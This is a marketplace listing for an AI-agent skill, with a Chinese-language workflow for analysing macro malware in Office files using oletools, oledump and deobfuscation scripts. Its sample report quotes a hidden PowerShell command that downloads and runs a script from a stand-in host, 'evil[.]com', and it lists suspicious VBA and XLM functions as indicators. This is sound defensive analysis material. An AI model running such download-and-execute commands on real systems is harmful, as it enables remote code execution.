# Analyzing Macro Malware In Office Documents

> >

- **Type:** Skill
- **Install:** `agentstack add skill-killvxk-cybersecurity-skills-zh-analyzing-macro-malware-in-office-documents`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [killvxk](https://agentstack.voostack.com/s/killvxk)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [killvxk](https://github.com/killvxk)
- **Source:** https://github.com/killvxk/cybersecurity-skills-zh/tree/master/skills/analyzing-macro-malware-in-office-documents

## Install

```sh
agentstack add skill-killvxk-cybersecurity-skills-zh-analyzing-macro-malware-in-office-documents
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# 分析 Office 文档中的宏恶意软件

## 适用场景

- 一个可疑的 Office 文档（.doc、.docm、.xls、.xlsm、.ppt）被电子邮件安全系统标记
- 调查投递武器化 Office 文档的钓鱼攻击活动
- 提取 VBA 宏代码以识别载荷下载 URL 和执行方法
- 分析混淆的 VBA 代码以了解完整的攻击链
- 确定文档是否使用 DDE、ActiveX 或远程模板注入而非宏

**不适用于**分析非宏 Office 威胁（DDE、远程模板注入）；虽然本技能涵盖这些检测，但可能需要专门分析。

## 前置条件

- Python 3.8+，安装 oletools（`pip install oletools`）
- Didier Stevens 的 oledump.py
- 未安装 Microsoft Office 的隔离分析虚拟机（防止意外执行）
- XLMDeobfuscator 用于 Excel 4.0 宏分析（pip install xlmdeobfuscator）
- LibreOffice 用于安全文档渲染（默认不执行 VBA 宏）

## 工作流程

### 步骤 1：文档初始分类

确定文档是否包含宏或其他活动内容：

```bash
# 使用 olevba 快速分类
olevba suspect.docm

# 检查 OLE 流和宏
oleid suspect.docm

# 输出指标：
# VBA 宏：        True/False
# XLM 宏：        True/False
# 外部关系：      True/False（远程模板）
# ObjectPool：    True/False（嵌入对象）
# Flash：         True/False（SWF 对象）

# 综合 OLE 分析
oledump.py suspect.docm

# 列出所有带宏指示符的 OLE 流
# 标记为 'M' 的流包含 VBA 宏
# 标记为 'm' 的流包含宏属性
```

### 步骤 2：提取和分析 VBA 代码

提取完整的 VBA 宏源代码：

```bash
# 使用完整去混淆提取 VBA
olevba --decode --deobf suspect.docm

# 仅提取 VBA 源代码
olevba --code suspect.docm > extracted_vba.txt

# 使用 oledump 详细提取
oledump.py -s 8 -v suspect.docm  # 流 8（根据流列表调整）

# 提取所有宏流
oledump.py -p plugin_vba_dco suspect.docm
```

```
需要识别的关键 VBA 元素：
━━━━━━━━━━━━━━━━━━━━━━━━━━━
自动执行触发器：
  - Auto_Open / AutoOpen（Word）
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open（Excel）
  - AutoExec

可疑函数：
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - PowerShell 执行
  - URLDownloadToFile
  - MSXML2.XMLHTTP（HTTP 请求）
  - ADODB.Stream（文件写入）
  - Environ()（环境变量）
  - CallByName（间接方法调用）
```

### 步骤 3：VBA 代码去混淆

去除混淆层以揭示载荷：

```python
# VBA 去混淆技术
import re

def deobfuscate_vba(code):
    # 1. 解析 Chr() 调用：Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. 去除字符串拼接："htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. 解析 ChrW 调用：ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. 解析 StrReverse：StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. 去除 Mid$/Left$/Right$ 混淆（复杂，标记为需要手动审查）

    # 6. 解析 Replace()：Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
```

### 步骤 4：分析 Excel 4.0（XLM）宏

处理绕过 VBA 检测的旧版 Excel 宏：

```bash
# 检测 XLM 宏
olevba --xlm suspect.xlsm

# 去混淆 XLM 宏
xlmdeobfuscator -f suspect.xlsm

# 使用 oledump 手动 XLM 分析
oledump.py suspect.xlsm -p plugin_biff.py

# 需要关注的 XLM（Excel 4.0）宏函数：
# EXEC()       - 执行 shell 命令
# CALL()       - 调用 DLL 函数
# REGISTER()   - 注册 DLL 函数
# URLDownloadToFileA - 下载文件
# ALERT()      - 显示消息（社会工程学）
# HALT()       - 停止执行
# GOTO()       - 控制流
# IF()         - 条件执行
```

### 步骤 5：检查非宏攻击向量

检查文档中的 DDE、远程模板和嵌入对象：

```bash
# 检查 DDE（动态数据交换）
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # DDE 字段代码
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] 在 {name} 中发现 DDE')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    命令：{m}')
        # 远程模板
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] 远程模板 URL：{url}')
"

# 检查嵌入的 OLE 对象
oledump.py -p plugin_msg.py suspect.docm

# 检查外部引用关系
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'{name} 中的外部引用：')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"
```

### 步骤 6：生成分析报告

记录完整的宏恶意软件分析：

```
报告应包含：
- 文档元数据（作者、创建日期、修改日期）
- 宏存在情况和类型（VBA、XLM、DDE、远程模板）
- 识别的自动执行触发器
- 去混淆后的 VBA 源代码（关键函数）
- 第二阶段载荷的下载 URL
- 执行方法（Shell、WScript、PowerShell、COM 对象）
- 社会工程学诱饵描述
- 提取的 IOC（URL、域名、IP、文件哈希）
- 针对特定文档模式的 YARA 规则
```

## 核心概念

| 术语 | 定义 |
|------|------------|
| **VBA 宏** | 嵌入在 Office 文档中的 Visual Basic for Applications 代码，可与操作系统交互、下载文件和执行命令 |
| **Auto_Open** | VBA 事件过程，在 Word 文档打开时自动执行，是宏恶意软件的主要触发器 |
| **OLE（对象链接和嵌入）** | Microsoft 复合文档格式；Office 文档是 OLE 容器，包含可存储宏和对象的流 |
| **DDE（动态数据交换）** | 被文档滥用于无需宏即可执行命令的旧版 Windows IPC 机制；由字段代码更新触发 |
| **远程模板注入** | 当文档打开时从远程 URL 加载启用宏的模板的攻击，绕过初始宏检测 |
| **XLM 宏（Excel 4.0）** | 先于 VBA 的旧版 Excel 宏语言；存储在隐藏工作表中，传统 VBA 分析工具常常遗漏 |
| **受保护视图** | Office 沙箱，防止宏执行直到用户点击"启用内容"；社会工程学针对此屏障 |

## 工具与系统

- **oletools（olevba）**：用于分析 OLE 文件、提取 VBA 宏以及检测可疑关键词和 IOC 的 Python 工具包
- **oledump.py**：Didier Stevens 的工具，支持插件的 OLE 流分析，用于 VBA 解压和提取
- **XLMDeobfuscator**：专为去混淆 Excel 4.0（XLM）宏公式设计的工具
- **ViperMonkey**：VBA 模拟引擎，在沙箱环境中执行 VBA 宏以观察行为
- **YARA**：使用 VBA 字符串模式和 OLE 结构指标进行基于文档的恶意软件检测

## 常见场景

### 场景：分析带有混淆 VBA 宏的钓鱼文档

**场景背景**：多名员工收到附有 .docm 文件的电子邮件，声称是发票。文档提示用户"启用内容"以查看完整文档。

**方法**：
1. 运行 oleid 确认存在 VBA 宏并识别自动执行触发器
2. 使用 olevba --decode --deobf 提取 VBA 代码进行初步去混淆
3. 识别自动执行入口点（Auto_Open 或 Document_Open）
4. 从入口点通过辅助函数追踪执行流
5. 去混淆字符串拼接和 Chr() 编码以揭示下载 URL
6. 识别下载方法（WScript.Shell、MSXML2.XMLHTTP、PowerShell）
7. 提取所有 IOC 并为特定混淆模式创建 YARA 规则

**常见陷阱**：
- 在 Microsoft Office 中打开文档进行"快速分析"而不使用命令行工具
- 遗漏存储在 UserForms 中的 VBA 代码（GUI 元素的事件处理程序中可能包含代码）
- 忽略文档元数据，其中可能包含攻击者指纹（作者名、模板名）
- 不检查同一文档中是否同时存在 VBA 和 XLM 宏（某些恶意软件两者兼用）

## 输出格式

```
Office 宏恶意软件分析
================================
文档：            invoice_q3_2025.docm
SHA-256：         e3b0c44298fc1c149afbf4c8996fb924...
文件类型：        Microsoft Word 文档（带宏的 OOXML）
作者：            Administrator
创建日期：        2025-09-10 14:23:00

宏分析
类型：            VBA 宏
触发器：          AutoOpen()
流：              3 个 VBA 流（ThisDocument、Module1、Module2）

去混淆后的执行链
1. AutoOpen() -> 调用 Module1.RunPayload()
2. RunPayload() 通过 Chr() 拼接构建命令字符串
3. 命令：powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 解码：IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

社会工程学诱饵
- 文档显示伪造的"受保护文档"图像
- 指示用户"启用内容"以查看文档
- 内容被模糊/隐藏直到宏执行

提取的 IOC
下载 URL：        hxxp://evil[.]com/payload.ps1
C2 域名：         evil[.]com
IP 地址：         185.220.101[.]42
User-Agent：      PowerShell（默认 WebClient）

MITRE ATT&CK
T1566.001  钓鱼：鱼叉式钓鱼附件
T1204.002  用户执行：恶意文件
T1059.001  命令和脚本解释器：PowerShell
T1059.005  命令和脚本解释器：Visual Basic
```

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [killvxk](https://github.com/killvxk)
- **Source:** [killvxk/cybersecurity-skills-zh](https://github.com/killvxk/cybersecurity-skills-zh)
- **License:** Apache-2.0

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-killvxk-cybersecurity-skills-zh-analyzing-macro-malware-in-office-documents
- Seller: https://agentstack.voostack.com/s/killvxk
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
